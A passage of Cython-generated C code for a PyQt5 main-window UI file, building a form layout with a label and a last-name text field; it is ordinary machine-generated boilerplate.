1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 400, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_2}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 400, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 400, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_3, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 400, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_formLayout_3, __pyx_t_7) < 0) __PYX_ERR(0, 400, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":401 * self.formLayoutWidget_3.setObjectName("formLayoutWidget_3") * self.formLayout_3 = QtWidgets.QFormLayout(self.formLayoutWidget_3) * self.formLayout_3.setFieldGrowthPolicy(QtWidgets.QFormLayout.FieldsStayAtSizeHint) # <<<<<<<<<<<<<< * self.formLayout_3.setRowWrapPolicy(QtWidgets.QFormLayout.DontWrapRows) * self.formLayout_3.setContentsMargins(0, 0, 0, 0) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 401, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setFieldGrowthPolicy); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 401, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 401, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 401, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_FieldsStayAtSizeHint); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 401, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_2) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 401, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_1}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 401, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_1}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 401, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 401, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_4, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 401, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":402 * self.formLayout_3 = QtWidgets.QFormLayout(self.formLayoutWidget_3) * self.formLayout_3.setFieldGrowthPolicy(QtWidgets.QFormLayout.FieldsStayAtSizeHint) * self.formLayout_3.setRowWrapPolicy(QtWidgets.QFormLayout.DontWrapRows) # <<<<<<<<<<<<<< * self.formLayout_3.setContentsMargins(0, 0, 0, 0) * self.formLayout_3.setVerticalSpacing(2) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 402, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setRowWrapPolicy); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 402, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 402, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 402, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_DontWrapRows); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 402, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_1) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_3); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 402, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_3}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 402, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_3}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 402, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 402, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_2, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 402, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":403 * self.formLayout_3.setFieldGrowthPolicy(QtWidgets.QFormLayout.FieldsStayAtSizeHint) * self.formLayout_3.setRowWrapPolicy(QtWidgets.QFormLayout.DontWrapRows) * self.formLayout_3.setContentsMargins(0, 0, 0, 0) # <<<<<<<<<<<<<< * self.formLayout_3.setVerticalSpacing(2) * self.formLayout_3.setObjectName("formLayout_3") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout_3); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 403, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setContentsMargins); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 403, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__242, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 403, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":404 * self.formLayout_3.setRowWrapPolicy(QtWidgets.QFormLayout.DontWrapRows) * self.formLayout_3.setContentsMargins(0, 0, 0, 0) * self.formLayout_3.setVerticalSpacing(2) # <<<<<<<<<<<<<< * self.formLayout_3.setObjectName("formLayout_3") * self.label_34 = QtWidgets.QLabel(self.formLayoutWidget_3) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout_3); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 404, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setVerticalSpacing); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 404, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__243, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 404, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":405 * self.formLayout_3.setContentsMargins(0, 0, 0, 0) * self.formLayout_3.setVerticalSpacing(2) * self.formLayout_3.setObjectName("formLayout_3") # <<<<<<<<<<<<<< * self.label_34 = QtWidgets.QLabel(self.formLayoutWidget_3) * self.label_34.setObjectName("label_34") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout_3); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 405, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 405, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__244, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 405, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":406 * self.formLayout_3.setVerticalSpacing(2) * self.formLayout_3.setObjectName("formLayout_3") * self.label_34 = QtWidgets.QLabel(self.formLayoutWidget_3) # <<<<<<<<<<<<<< * self.label_34.setObjectName("label_34") * self.formLayout_3.setWidget(0, QtWidgets.QFormLayout.LabelRole, self.label_34) */ __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 406, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QLabel); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 406, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 406, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_3) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 406, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 406, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 406, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 406, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_1, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 406, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_label_34, __pyx_t_7) < 0) __PYX_ERR(0, 406, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":407 * self.formLayout_3.setObjectName("formLayout_3") * self.label_34 = QtWidgets.QLabel(self.formLayoutWidget_3) * self.label_34.setObjectName("label_34") # <<<<<<<<<<<<<< * self.formLayout_3.setWidget(0, QtWidgets.QFormLayout.LabelRole, self.label_34) * self.RR_lastname = QtWidgets.QLineEdit(self.formLayoutWidget_3) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_34); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 407, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 407, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__245, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 407, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":408 * self.label_34 = QtWidgets.QLabel(self.formLayoutWidget_3) * self.label_34.setObjectName("label_34") * self.formLayout_3.setWidget(0, QtWidgets.QFormLayout.LabelRole, self.label_34) # <<<<<<<<<<<<<< * self.RR_lastname = QtWidgets.QLineEdit(self.formLayoutWidget_3) * self.RR_lastname.setMinimumSize(QtCore.QSize(420, 0)) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 408, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setWidget); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 408, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 408, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 408, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_LabelRole); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 408, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_34); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 408, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[4] = {__pyx_t_3, __pyx_int_0, __pyx_t_2, __pyx_t_4}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 408, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[4] = {__pyx_t_3, __pyx_int_0, __pyx_t_2, __pyx_t_4}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 408, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_6 = PyTuple_New(3+__pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 408, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); if (__pyx_t_3) { __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_3); __pyx_t_3 = NULL; } __Pyx_INCREF(__pyx_int_0); __Pyx_GIVEREF(__pyx_int_0); PyTuple_SET_ITEM(__pyx_t_6, 0+__pyx_t_8, __pyx_int_0); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_6, 1+__pyx_t_8, __pyx_t_2); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_6, 2+__pyx_t_8, __pyx_t_4); __pyx_t_2 = 0; __pyx_t_4 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_6, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 408, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":409 * self.label_34.setObjectName("label_34") * self.formLayout_3.setWidget(0, QtWidgets.QFormLayout.LabelRole, self.label_34) * self.RR_lastname = QtWidgets.QLineEdit(self.formLayoutWidget_3) # <<<<<<<<<<<<<< * self.RR_lastname.setMinimumSize(QtCore.QSize(420, 0)) * self.RR_lastname.setMouseTracking(False) */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 409, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QLineEdit); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 409, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 409, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_6))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_4) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 409, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_1}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 409, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_1}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 409, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 409, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_2, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 409, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_RR_lastname, __pyx_t_7) < 0) __PYX_ERR(0, 409, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":410 * self.formLayout_3.setWidget(0, QtWidgets.QFormLayout.LabelRole, self.label_34) * self.RR_lastname = QtWidgets.QLineEdit(self.formLayoutWidget_3) * self.RR_lastname.setMinimumSize(QtCore.QSize(420, 0)) # <<<<<<<<<<<<<< * self.RR_lastname.setMouseTracking(False) * self.RR_lastname.setAcceptDrops(False) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_lastname); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 410, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setMinimumSize); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 410, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 410, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_QSize); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 410, __pyx_L1_error) 